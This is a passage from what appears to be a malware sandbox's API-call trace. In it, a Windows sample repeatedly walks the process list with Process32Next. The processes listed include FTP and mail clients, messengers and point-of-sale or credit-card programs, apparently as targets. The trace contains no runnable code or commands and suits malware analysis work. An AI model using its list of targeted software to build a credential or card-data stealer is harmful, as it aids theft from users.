th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0259.883] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0259.885] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0259.886] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0259.888] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0259.890] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0259.891] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0259.893] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0259.895] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0259.896] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0259.898] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0259.900] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0259.901] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0259.903] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0259.904] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0259.906] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0259.908] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0259.910] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0259.911] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0259.913] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0259.914] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0259.916] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0259.918] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0259.919] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0259.921] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0259.922] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0259.924] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0259.974] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0259.975] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0259.977] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0259.978] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0259.980] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.981] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.983] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.984] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0259.986] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0259.988] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.989] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0259.990] CloseHandle (hObject=0x1038) returned 1 [0259.990] Sleep (dwMilliseconds=0x64) [0260.044] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0260.055] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.057] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.059] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.060] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.062] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.064] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.124] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.126] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.128] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.129] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.131] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.132] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.133] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.135] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.136] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.138] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.140] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.142] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.143] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.145] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.147] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.148] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.149] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.151] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.153] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.155] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.157] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.159] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.212] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0260.214] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0260.215] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.217] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.218] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0260.220] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0260.221] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0260.223] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0260.224] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0260.226] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0260.227] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0260.229] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0260.230] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0260.232] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0260.233] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0260.235] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0260.236] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0260.238] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0260.239] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 